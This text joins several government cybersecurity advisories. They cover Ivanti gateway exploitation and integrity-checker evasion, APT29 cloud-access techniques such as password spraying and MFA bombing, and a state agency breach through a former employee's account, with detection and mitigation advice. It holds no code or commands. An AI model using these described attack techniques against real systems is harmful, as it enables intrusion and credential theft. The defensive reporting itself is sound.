The FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom-note, communications with Phobos actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.

Additional details requested include: a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host and network-based indicators.

The FBI and CISA do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to the FBI Internet Crime Complaint Center (IC3), a local FBI Field Office, or to CISA at report@cisa.gov or by calling 1-844-Say-CISA (1-844-729-2472).

DISCLAIMER

The FBI does not conduct its investigative activities or base attribution solely on activities protected by the First Amendment. Your company has no obligation to respond or provide information back to the FBI in response to this engagement. If, after reviewing the information, your company decides to provide referral information to the FBI, it must do so in a manner consistent with federal law. The FBI does not request or expect your company to take any particular action regarding this information other than holding it in confidence due to its sensitive nature.

The information in this report is being provided “as is” for informational purposes only. The FBI and CISA not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise does not constitute or imply endorsement, recommendation, or favoring by CISA, the FBI, and the MS-ISAC.

ACKNOWLEDGEMENTS

The California Joint Regional Intelligence Center (JRIC, CA) and Israel National Cyber Directorate (INCD) contributed to this CSA.

VERSION HISTORY

February 29, 2024: Initial version.

SUMMARY

The Cybersecurity and Infrastructure Security Agency (CISA) and the following partners (hereafter referred to as the authoring organizations) are releasing this joint Cybersecurity Advisory to warn that cyber threat actors are exploiting previously identified vulnerabilities in Ivanti Connect Secure and Ivanti Policy Secure gateways. CISA and authoring organizations appreciate the cooperation of Volexity, Ivanti, Mandiant and other industry partners in the development of this advisory and ongoing incident response activities. Authoring organizations:

• Federal Bureau of Investigation (FBI)
• Multi-State Information Sharing & Analysis Center (MS-ISAC)
• Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
• United Kingdom National Cyber Security Centre (NCSC-UK)
• Canadian Centre for Cyber Security (Cyber Centre), a part of the Communications Security Establishment
• New Zealand National Cyber Security Centre (NCSC-NZ)
• CERT-New Zealand (CERT NZ)

Of particular concern, the authoring organizations and industry partners have determined that cyber threat actors are able to deceive Ivanti’s internal and external Integrity Checker Tool (ICT), resulting in a failure to detect compromise.

Cyber threat actors are actively exploiting multiple previously identified vulnerabilities—CVE-2023-46805, CVE-2024-21887, and CVE-2024-21893—affecting Ivanti Connect Secure and Ivanti Policy Secure gateways. The vulnerabilities impact all supported versions (9.x and 22.x) and can be used in a chain of exploits to enable malicious cyber threat actors to bypass authentication, craft malicious requests, and execute arbitrary commands with elevated privileges.

During multiple incident response engagements associated with this activity, CISA identified that Ivanti’s internal and previous external ICT failed to detect compromise. In addition, CISA has conducted independent research in a lab environment validating that the Ivanti ICT is not sufficient to detect compromise and that a cyber threat actor may be able to gain root-level persistence despite issuing factory resets.

The authoring organizations encourage network defenders to (1) assume that user and service account credentials stored within the affected Ivanti VPN appliances are likely compromised, (2) hunt for malicious activity on their networks using the detection methods and indicators of compromise (IOCs) within this advisory, (3) run Ivanti’s most recent external ICT, and (4) apply available patching guidance provided by Ivanti as version updates become available. If a potential compromise is detected, organizations should collect and analyze logs and artifacts for malicious activity and apply the incident response recommendations within this advisory.

Based upon the authoring organizations’ observations during incident response activities and available industry reporting, as supplemented by CISA’s research findings, the authoring organizations recommend that the safest course of action for network defenders is to assume a sophisticated threat actor may deploy rootkit level persistence on a device that has been reset and lay dormant for an arbitrary amount of time. For example, as outlined in PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure), sophisticated actors may remain silent on compromised networks for long periods. The authoring organizations strongly urge all organizations to consider the significant risk of adversary access to, and persistence on, Ivanti Connect Secure and Ivanti Policy Secure gateways when determining whether to continue operating these devices in an enterprise environment.

Note: On February 9, 2024, CISA issued Emergency Directive (ED) 24-01: Mitigate Ivanti Connect Secure and Ivanti Policy Secure Vulnerabilities, which requires emergency action from Federal Civilian Executive Branch (FCEB) agencies to perform specific actions on affected products.

The Canadian Centre for Cyber Security also issued an alert, Ivanti Connect Secure and Ivanti Policy Secure gateways zero-day vulnerabilities, which provides periodic updates for IT professionals and managers affected by the Ivanti vulnerabilities.

Download the PDF version of this report:

For a downloadable copy of IOCs, see:

TECHNICAL DETAILS

This advisory uses the MITRE ATT&CK^® for Enterprise framework, version 14. See the MITRE ATT&CK Tactics and Techniques in Appendix C for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Overview

On January 10, 2024, Volexity reported on two vulnerabilities in Ivanti Connect Secure and Ivanti Policy Secure gateways observed being chained to achieve unauthenticated remote code execution (RCE):[1]

• CVE 2023-46805
• CVE-2024-21887

Volexity first identified active exploitation in early December 2023, when they detected suspicious lateral movement [TA0008] on the network of one of their network security monitoring service customers. Volexity identified that threat actors exploited the vulnerabilities to implant web shells, including GLASSTOKEN and GIFTEDVISITOR, on internal and external-facing web servers [T1505.003]. Once successfully deployed, these web shells are used to execute commands on compromised devices.[1]

After Ivanti provided initial mitigation guidance in early January, threat actors developed a way to bypass those mitigations to deploy BUSHWALK, LIGHTWIRE, and CHAINLINE web shell variants.[2] Following the actors’ developments, Ivanti disclosed three additional vulnerabilities:

• CVE-2024-21893 is a server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) Ivanti Policy Secure (9.x, 22.x), and Ivanti Neurons for ZTA that allows an attacker to access restricted resources without authentication.
• CVE-2024-22024 is an XML vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x), Ivanti Policy Secure (9.x, 22.x), and ZTA gateways that allows an attacker to access restricted resources without authentication.
• CVE-2024-21888 is a privilege escalation vulnerability found in the web component of Ivanti Connect Secure and Ivanti Policy Secure. This vulnerability allows threat actors to gain elevated privileges to that of an administrator.

Observed Threat Actor Activity

CISA has responded to multiple incidents related to the above vulnerabilities in Ivanti Connect Secure and Policy Secure Gateways. In these incidents, actors exploited these CVEs for initial access to implant web shells and to harvest credentials stored on the devices. Post-compromise, the actors moved laterally into domain environments and have been observed leveraging tools that are native to the Ivanti appliances—such as freerdp, ssh, telnet, and nmap libraries—to expand their access to the domain environment. The result, in some cases, was a full domain compromise.

During incident response investigations, CISA identified that Ivanti’s internal and external ICT failed to detect compromise. The organizations leveraged the integrity checker to identify file mismatches in Ivanti devices; however, CISA incident response analysis confirmed that both the internal and external versions of the ICT were not reliable due to the existence of web shells found on systems that had no file mismatches according to the ICTs. Additionally, forensic analysis showed evidence the actors were able to clean up their efforts by overwriting files, time-stomping files, and re-mounting the runtime partition to return the appliance to a “clean state.” This reinforces that ICT scans are not reliable to indicate previous compromise and can result in a false sense of security that the device is free of compromise.

As detailed in Appendix A, CISA conducted independent research in a lab environment validating that the ICT is likely insufficient for detecting compromise and that a cyber threat actor may be able to maintain root level persistence despite issuing factory resets and appliance upgrades.

INDICATORS OF COMPROMISE

See Tables 1 – 4 in Appendix B for IOCs related to cyber actors exploiting multiple CVEs related to Ivanti appliances.

For additional indicators of compromise, see:

• Volexity: Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN
• Mandiant: Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation
• Mandiant: Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation
• Mandiant: Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts

Memory and disk forensics were used during forensic analysis, combined with the Integrity Checker Tool, to identify malicious files on the compromised Ivanti Connect Secure VPN appliance. This advisory provides a list of combined authoring organization IOCs and open source files identified by Volexity via network analysis.

Disclaimer: Some IP addresses in this advisory may be associated with legitimate activity. Organizations are encouraged to investigate the activity around these IP addresses prior to taking action such as blocking. Activity should not be attributed as malicious without analytical evidence to support it is used at the direction of, or controlled by, threat actors.

DETECTION METHODS

YARA Rules

See Appendix D for additional open source YARA rules, provided by Volexity, that may aid network defenders in detecting malicious activity within Ivanti Connect Secure VPN appliances. For more information on detection methods, visit Mandiant’s blog post Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation or the Volexity GitHub page.

INCIDENT RESPONSE

The authoring organizations encourage you to assess your organization’s user interface (UI) software and systems for evidence of compromise and to hunt for malicious activity using signatures outlined within this advisory. If compromise is suspected or detected, organizations should assume that threat actors hold full administrative access and can perform all tasks associated with the Ivanti Connect Secure VPN appliance as well as executing arbitrary code and installing malicious payloads.

Note: These are vendor-managed appliances and systems may be encrypted with limited access. Thus, collecting artifacts may be limited on some versions of appliances. The authoring organizations recommend investigating associated devices on the network to identify lateral movement in the absence of access to the Secure Connect appliance.

If a potential compromise is detected, organizations should:

1. Quarantine or take offline potentially affected hosts.
2. Reimage compromised hosts.
3. Reset all credentials that may have been exposed during the compromise, including user and service accounts.
4. Identify Ivanti hosts with Active Directory (AD) access, threat actors can trivially export active domain administrator credentials during initial compromise. Until there is evidence to the contrary, it is assumed that AD access on compromised systems is connected to external authentication systems such as Lightweight Directory Access Protocol (LDAP) and AD.
5. Collect and review artifacts such as running processes/services, unusual authentications, and recent network connections.
   • Note: Removing malicious administrator accounts may not fully mitigate risk considering threat actors may have established additional persistence mechanisms.
6. Report the compromise to FBI Internet Crime Complaint Center (IC3) at IC3.gov, local FBI field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center (report@cisa.gov or 888-282-0870). State, local, tribal, or territorial government entities can also report to MS-ISAC (SOC@cisecurity.org or 866-787-4722). Organizations outside of the United States should contact their national cyber center. (See the Reporting section.)

MITIGATIONS

These mitigations apply to all critical infrastructure organizations and network defenders using Ivanti Connect Secure VPN and Ivanti Policy Secure. The authoring organizations recommend that software manufacturers incorporate Secure by Design principles and tactics into their software development practices. These principles and tactics can limit the impact of exploitation—such as threat actors leveraging newly discovered, unpatched vulnerabilities within Ivanti appliances—thus, strengthening the secure posture for their customers.

For more information on secure by design, see CISA’s Secure by Design webpage and joint guide.

The authoring organizations recommend organizations implement the mitigations below to improve your cybersecurity posture based on threat actor activity and to reduce the risk of compromise associated with Ivanti vulnerabilities. These mitigations align with the cross-sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

• As organizations make risk decisions in choosing a VPN, to include decisions regarding continued operation of Ivanti Connect Secure and Policy Secure gateways, avoid VPN solutions that use proprietary protocols or non-standard features. VPNs as a class of devices carry some specific risks that a non-expert implementer may trigger (e.g., authentication integration and patching). When choosing a VPN, organizations should consider vendors who:
  • Provide a Software Bill of Materials (SBOM) to proactively identify, and enable remediation of, embedded software vulnerabilities, such as deprecated operating systems.
  • Allow a restore from trusted media to establish a root of trust. If the software validation tooling can be modified by the software itself, there is no way to establish a root of trust other than returning the device to the manufacturer (return material authorization [RMA]).
  • Are a CVE Numbering Authority (CNA) so that CVEs are assigned to emerging vulnerabilities in a timely manner.
  • Have a public Vulnerability Disclosure Policy (VDP) to enable security researchers to proactively share and disclose vulnerabilities through coordinated vulnerability disclosure (CVD).
  • Have in place a clear end-of-life policy (EoL) to prepare customers for updating to supported product versions.
• Limit outbound internet connections from SSL VPN appliances to restrict access to required services. This will limit the ability of an actor to download tools or malware onto the device or establish outbound connections to command and control (C2) servers.
• Ensure SSL VPN appliances configured with Active Directory or LDAP authentication use low privilege accounts for the LDAP bind.
• Limit SSL VPN connections to unprivileged accounts only to help limit the exposure of privileged account credentials.
• Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Organizations should patch vulnerable software and hardware systems within 24 to 48 hours of vulnerability disclosure. Prioritize patching known exploited vulnerabilities in internet-facing systems [CPG 1.E].
• Secure remote access tools.
  • Implement application controls to manage and control execution of software, including allowlisting remote access programs. Application controls should prevent installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlisting solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation.
• Strictly limit the use of Remote Desktop Protocols (RDP) and other remote desktop services. If RDP is necessary, rigorously apply best practices, for example [CPG 2.W]:
  • Audit the network for systems using RDP.
  • Close unused RDP ports.
  • Enforce account lockouts after a specified number of attempts.
  • Apply phishing-resistant multifactor authentication (MFA).
  • Log RDP login attempts.
• Configure the Windows Registry to require User Account Control (UAC) approval for any PsExec operations requiring administrator privileges to reduce the risk of lateral movement by PsExec.
• Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (e.g., hard drive, storage device, or the cloud).
• Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with NIST's standards for developing and managing password policies.
  • Use longer passwords consisting of at least 15 characters [CPG 2.B].
  • Store passwords in hashed format using industry-recognized password managers.
  • Add password user “salts” to shared login credentials.
  • Avoid reusing passwords [CPG 2.C].
  • Implement multiple failed login attempt account lockouts [CPG 2.G].
  • Disable password “hints.”
  • Require administrator credentials to install software.
• Review the CISA and NSA joint guidance for Selecting and Hardening Remote Access VPN Solutions.

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how the controls perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (Appendix C).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

REPORTING

U.S. organizations should report every potential cyber incident to the U.S. government. When available, each report submitted should include the date, time, location, type of activity, number of people, and type of equipment used for the activity, the name of the submitting company or organization, and a designated point of contact. Reports can be submitted to the FBI’s Internet Crime Complaint Center (IC3), local FBI Field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center at report@cisa.gov or by calling 1-844-Say-CISA (1-844-729-2472).

The FBI encourages organizations to report information concerning suspicious or criminal activity to their local FBI Field Office.

Australian organizations that have been impacted or require assistance regarding Ivanti compromise, contact ASD’s ACSC via 1300 CYBER1 (1300 292 371), or by submitting a report to cyber.gov.au.

UK organizations that have been impacted by Ivanti compromise, should report the incident to the National Cyber Security Centre.

Organizations outside of the United States or Australia should contact their national cyber center.

REFERENCES

1. Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN | Volexity
2. Ivanti Connect Secure VPN Exploitation Goes Global | Volexity
3. KB CVE-2023-46805 (Authentication Bypass) & CVE-2024-21887 (Command Injection) for Ivanti Connect Secure and Ivanti Policy Secure Gateways
4. Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation | Mandiant

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. CISA and authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and authoring organizations.

ACKNOWLEDGEMENTS

Volexity, Mandiant, and Ivanti contributed to this advisory.

VERSION HISTORY

February 29, 2024: Initial version.

APPENDIX A: CISA’S PRODUCT EVALUATION FINDINGS

Research Approach

As part of ongoing efforts to effectively serve the cybersecurity community with actionable insights and guidance, CISA conducted research by using a free and downloadable version of the Ivanti Connect Secure virtual appliance to assess potential attack paths and adversary persistence mechanisms. The virtual appliances were not connected to the internet, and were deployed in a closed virtualized network, with a non-internet connected Active Directory. This research included a variety of tests on version 22.3R1 Build 1647, connected to Active Directory credentials, to leverage the access obtained through CVE-2023-46805, CVE-2024-21887 and CVE-2024-21893. Put simply, CISA’s research team wanted to answer the question: “How far could an attacker go if they set were to exploit these CVEs remotely?”

Persistent Post-Reset and -Upgrade Access

Leveraging these vulnerabilities, CISA researchers were able to exfiltrate domain administrator cleartext credentials [TA0006], gain root-level persistence [TA0003], and bypass integrity checks used by the Integrity Checker application. CISA’s Incident Response team observed these specific techniques leveraged during the agency’s incident response engagements, along with the native tools and libraries to conduct internal reconnaissance and compromise domains behind the Ivanti appliances. CISA researchers assess that threat actors are able to use the credentials to move deeper into the environment.

The ability to exfiltrate domain administrator cleartext credentials, if saved when adding an “Active Directory Authentication server” during setup, was accomplished by using the root-level access obtained from the vulnerabilities to interface directly with the internal server and retrieve the cached credentials as shown in Figure 4, APPENDIX A. Users who currently have active sessions to the appliance could have their base64 encoded active directory cleartext passwords, in addition to the New Technology LAN Manager (NTLM) password hashes, retrieved with the same access, as shown in Figure 10, APPENDIX A. In addition to users with active sessions, users previously authenticated can have base64 encoded active directory plaintext passwords and NTLM hashes harvested from the backups of the data.mdb database files stored on the appliance, as shown in Figure 15 and 16, APPENDIX A.

The root-level access allows adversaries to maintain persistence despite issuing factory resets and appliance upgrades while deceiving the provided integrity checkers, creating the illusion of a clean installation. Due to the persistence mechanism being stored on the encrypted partition of the drive and inaccurate integrity check results, it is untenable for network administrators to validate their application has not been compromised without also decrypting the partition and validating against a clean installation of the appliance, which are actions not easily accomplished at present. Without major alterations of the integrity checking process, it is conceivable that new vulnerabilities that afford root-level access to the appliance could also result in root-kit level persistence to the appliance.

Below is proof of concept being released by CISA, which demonstrates the capacity of and opportunity for a threat actor to exfiltrate Domain Administrator credentials that were used during appliance configuration:

Below is a demonstration of the capacity for post exploitation exfiltration of base64 encoded cleartext credentials for active directory users and their associated NTLM password hashes:

APPENDIX B: INDICATORS OF COMPROMISE

APPENDIX C: MITRE ATT&CK TACTICS AND TECHNIQUES

APPENDIX D: DETECTION METHODS

How SVR-Attributed Actors are Adapting to the Move of Government and Corporations to Cloud Infrastructure

OVERVIEW

This advisory details recent tactics, techniques, and procedures (TTPs) of the group commonly known as APT29, also known as Midnight Blizzard, the Dukes, or Cozy Bear.

The UK National Cyber Security Centre (NCSC) and international partners assess that APT29 is a cyber espionage group, almost certainly part of the SVR, an element of the Russian intelligence services. The US National Security Agency (NSA), the US Cybersecurity and Infrastructure Security Agency (CISA), the US Cyber National Mission Force (CNMF), the Federal Bureau of Investigation (FBI), Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC), the Canadian Centre for Cyber Security (CCCS), and New Zealand Government Communications Security Bureau (GCSB) agree with this attribution and the details provided in this advisory.

This advisory provides an overview of TTPs deployed by the actor to gain initial access into the cloud environment and includes advice to detect and mitigate this activity.

To download the PDF version of this report, click here.

PREVIOUS ACTOR ACTIVITY

The NCSC has previously detailed how Russian Foreign Intelligence Service (SVR) cyber actors have targeted governmental, think tank, healthcare, and energy targets for intelligence gain. It has now observed SVR actors expanding their targeting to include aviation, education, law enforcement, local and state councils, government financial departments, and military organizations.

SVR actors are also known for:

• The supply chain compromise of SolarWinds software.
• Activity that targeted organizations developing the COVID-19 vaccine.

EVOLVING TTPs

As organizations continue to modernize their systems and move to cloud-based infrastructure, the SVR has adapted to these changes in the operating environment.

They have to move beyond their traditional means of initial access, such as exploiting software vulnerabilities in an on-premises network, and instead target the cloud services themselves.

To access the majority of the victims’ cloud hosted network, actors must first successfully authenticate to the cloud provider. Denying initial access to the cloud environment can prohibit SVR from successfully compromising their target. In contrast, in an on-premises system, more of the network is typically exposed to threat actors.

Below describes in more detail how SVR actors are adapting to continue their cyber operations for intelligence gain. These TTPs have been observed in the last 12 months.

ACCESS VIA SERVICE AND DORMANT ACCOUNTS

Previous SVR campaigns reveal the actors have successfully used brute forcing [T1110] and password spraying to access service accounts. This type of account is typically used to run and manage applications and services. There is no human user behind them so they cannot be easily protected with multi-factor authentication (MFA), making these accounts more susceptible to a successful compromise. Service accounts are often also highly privileged depending on which applications and services they’re responsible for managing. Gaining access to these accounts provides threat actors with privileged initial access to a network, to launch further operations.

SVR campaigns have also targeted dormant accounts belonging to users who no longer work at a victim organization but whose accounts remain on the system [T1078.004].

Following an enforced password reset for all users during an incident, SVR actors have also been observed logging into inactive accounts and following instructions to reset the password. This has allowed the actor to regain access following incident response eviction activities.

CLOUD-BASED TOKEN AUTHENTICATION

Account access is typically authenticated by either username and password credentials or system-issued access tokens. The NCSC and partners have observed SVR actors using tokens to access their victims’ accounts, without needing a password [T1528].

The default validity time of system-issued tokens varies dependent on the system; however, cloud platforms should allow administrators to adjust the validity time as appropriate for their users. More information can be found on this in the mitigations section of this advisory.

ENROLLING NEW DEVICES TO THE CLOUD

On multiple occasions, the SVR have successfully bypassed password authentication on personal accounts using password spraying and credential reuse. SVR actors have also then bypassed MFA through a technique known as “MFA bombing” or “MFA fatigue,” in which the actors repeatedly push MFA requests to a victim’s device until the victim accepts the notification [T1621].

Once an actor has bypassed these systems to gain access to the cloud environment, SVR actors have been observed registering their own device as a new device on the cloud tenant [T1098.005]. If device validation rules are not set up, SVR actors can successfully register their own device and gain access to the network.

By configuring the network with device enrollment policies, there have been instances where these measures have defended against SVR actors and denied them access to the cloud tenant.

RESIDENTIAL PROXIES

As network-level defenses improve detection of suspicious activity, SVR actors have looked at other ways to stay covert on the internet. A TTP associated with this actor is the use of residential proxies [T1090.002]. Residential proxies typically make traffic appear to originate from IP addresses within internet service provider (ISP) ranges used for residential broadband customers and hide the true source. This can make it harder to distinguish malicious connections from typical users. This reduces the effectiveness of network defenses that use IP addresses as indicators of compromise, and so it is important to consider a variety of information sources such as application and host-based logging for detecting suspicious activity.

CONCLUSION

The SVR is a sophisticated actor capable of carrying out a global supply chain compromise such as the 2020 SolarWinds, however the guidance in this advisory shows that a strong baseline of cyber security fundamentals can help defend from such actors.

For organizations that have moved to cloud infrastructure, a first line of defense against an actor such as SVR should be to protect against SVR’s TTPs for initial access. By following the mitigations outlined in this advisory, organizations will be in a stronger position to defend against this threat.

Once the SVR gain initial access, the actor is capable of deploying highly sophisticated post compromise capabilities such as MagicWeb, as reported in 2022. Therefore, mitigating against the SVR’s initial access vectors is particularly important for network defenders.

CISA have also produced guidance through their Secure Cloud Business Applications (SCuBA) Project which is designed to protect assets stored in cloud environments.

Some of the TTPs listed in this report, such as residential proxies and exploitation of system accounts, are similar to those reported as recently as January 2024 by Microsoft.

MITRE ATT&CK®

This report has been compiled with respect to the MITRE ATT&CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations.

MITIGATION AND DETECTION

A number of mitigations will be useful in defending against the activity described in this advisory: 

• Use multi-factor authentication (/2-factor authentication/two-step verification) to reduce the impact of password compromises. See NCSC guidance: Multifactor Authentication for Online Services and Setting up 2-Step Verification (2SV).
• Accounts that cannot use 2SV should have strong, unique passwords. User and system accounts should be disabled when no longer required with a “joiners, movers, and leavers” process in place and regular reviews to identify and disable inactive/dormant accounts. See NCSC guidance: 10 Steps to Cyber Security.
• System and service accounts should implement the principle of least privilege, providing tightly scoped access to resources required for the service to function.
• Canary service accounts should be created which appear to be valid service accounts but are never used by legitimate services. Monitoring and alerting on the use of these account provides a high confidence signal that they are being used illegitimately and should be investigated urgently.
• Session lifetimes should be kept as short as practical to reduce the window of opportunity for an adversary to use stolen session tokens. This should be paired with a suitable authentication method that strikes a balance between regular user authentication and user experience.
• Ensure device enrollment policies are configured to only permit authorized devices to enroll. Use zero-touch enrollment where possible, or if self-enrollment is required then use a strong form of 2SV that is resistant to phishing and prompt bombing. Old devices should be prevented from (re)enrolling when no longer required. See NCSC guidance: Device Security Guidance.
• Consider a variety of information sources such as application events and host-based logs to help prevent, detect and investigate potential malicious behavior. Focus on the information sources and indicators of compromise that have a better rate of false positives. For example, looking for changes to user agent strings that could indicate session hijacking may be more effective than trying to identify connections from suspicious IP addresses. See NCSC guidance: Introduction to Logging for Security Purposes.

DISCLAIMER

This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times.

This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.

Refer any FOIA queries to ncscinfoleg@ncsc.gov.uk.

All material is UK Crown Copyright.

SUMMARY

The Cybersecurity and Infrastructure Security Agency (CISA) and the Multi-State Information Sharing & Analysis Center (MS-ISAC) conducted an incident response assessment of a state government organization’s network environment after documents containing host and user information, including metadata, were posted on a dark web brokerage site. Analysis confirmed that an unidentified threat actor compromised network administrator credentials through the account of a former employee—a technique commonly leveraged by threat actors—to successfully authenticate to an internal virtual private network (VPN) access point, further navigate the victim’s on-premises environment, and execute various lightweight directory access protocol (LDAP) queries against a domain controller.[1] Analysis also focused on the victim’s Azure environment, which hosts sensitive systems and data, as well as the compromised on-premises environment. Analysis determined there were no indications the threat actor further compromised the organization by moving laterally from the on-premises environment to the Azure environment.

CISA and MS-ISAC are releasing this Cybersecurity Advisory (CSA) to provide network defenders with the tactics, techniques, and procedures (TTPs) used by the threat actor and methods to protect against similar exploitation of both unnecessary and privileged accounts.

Download the PDF version of this report:

TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 14. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actor’s activity mapped to MITRE ATT&CK® tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Overview

A state government organization was notified that documents containing host and user information, including metadata, were posted on a dark web brokerage site. After further investigation, the victim organization determined that the documents were accessed via the compromised account of a former employee. Threat actors commonly leverage valid accounts, including accounts of former employees that have not been properly removed from the Active Directory (AD), to gain access to organizations.[1] CISA and MS-ISAC assessed that an unidentified threat actor likely accessed documents containing host and user information to post on the dark web for profit after gaining access through the account of a former employee.

The scope of this investigation included the victim organization’s on-premises environment, as well as their Azure environment, which hosts sensitive systems and data. Analysis determined the threat actor did not move laterally from the compromised on-premises network to the Azure environment and did not compromise sensitive systems.

Untitled Goose Tool

Incident responders collected Azure and Microsoft Defender for Endpoint (MDE) logs using CISA’s Untitled Goose Tool—a free tool to help network defenders detect potentially malicious activity in Microsoft Azure, Azure Active Directory (AAD), and Microsoft 365 (M365) environments. CISA developed the Untitled Goose Tool to export and review AAD sign-in and audit logs, M365 unified audit logs (UAL), Azure activity logs, and MDE data. By exporting cloud artifacts, Untitled Goose Tool supports incident response teams with environments that do not ingest logs into a security information and event management (SIEM) tool.

Threat Actor Activity

The logs revealed the threat actor first connected from an unknown virtual machine (VM) to the victim’s on-premises environment via internet protocol (IP) addresses within their internal VPN range. CISA and MS-ISAC assessed that the threat actor connected to the VM through the victim’s VPN [T1133] with the intent to blend in with legitimate traffic to evade detection.

Initial Access: Compromised Domain Accounts

USER1: The threat actor gained initial access through the compromised account of a former employee with administrative privileges (USER1) [T1078.002] to conduct reconnaissance and discovery activities. The victim organization confirmed that this account was not disabled immediately following the employee’s departure.

• The threat actor likely obtained the USER1 account credentials in a separate data breach due to the credentials appearing in publicly available channels containing leaked account information [T1589.001].
• USER1 had access to two virtualized servers including SharePoint and the workstation of the former employee. The workstation was virtualized from a physical workstation using the Veeam Physical to Virtual (P2V) function within the backup software.

USER2: The threat actor likely obtained the USER2 account credentials from the virtualized SharePoint server managed by USER1 [T1213.002]. The victim confirmed that the administrator credentials for USER2 were stored locally on this server [T1552.001].

• Through connection from the VM, the threat actor authenticated to multiple services [T1021] via the USER1 account, as well as from an additional compromised global domain administrator account (USER2) [T1078.002].

• The threat actor’s use of the USER2 account was impactful due to the access it granted to both the on-premises AD and Azure AD [T1021.007], thus enabling administrative privileges [T1078.004].

Following notification of the dark web posting, the victim organization immediately disabled the USER1 account and took the two virtualized servers associated with the former employee offline. The victim also changed the password for the USER2 account and removed administrator privileges. Neither of the administrative accounts had multifactor authentication (MFA) enabled.

LDAP Queries

Through connection from the VM, the threat actor conducted LDAP queries of the AD, likely using the open source tool AdFind.exe, based on the format of the output. CISA and MS-ISAC assess the threat actor executed the LDAP queries [T1087.002] to collect user, host [T1018], and trust relationship information [T1482]. It is also believed the LDAP queries generated the text files the threat actor posted for sale on the dark web brokerage site: ad_users.txt, ad_computers.txt, and trustdmp.txt.

Table 1 lists all queries that were conducted between 08:39:43-08:40:56 Coordinated Universal Time (UTC).

Service Authentication

Through the VM connection, the threat actor was observed authenticating to various services on the victim organization’s network from the USER1 and USER2 administrative accounts. In all instances, the threat actor authenticated to the Common Internet File Service (CIFS) on various endpoints [T1078.002],[T1021.002]—a protocol used for providing shared access to files and printers between machines on the network. This was likely used for file, folder, and directory discovery [T1083], and assessed to be executed in an automated manner.

• USER1 authenticated to four services, presumably for the purpose of network and service discovery [T1046].
• USER2 authenticated to twelve services. Note: This account had administrative privileges to both the on-premises network and Azure tenant.

MITRE ATT&CK TACTICS AND TECHNIQUES

See Tables 2-9 for all referenced threat actor’s tactics and techniques for enterprise environments in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

MITIGATIONS

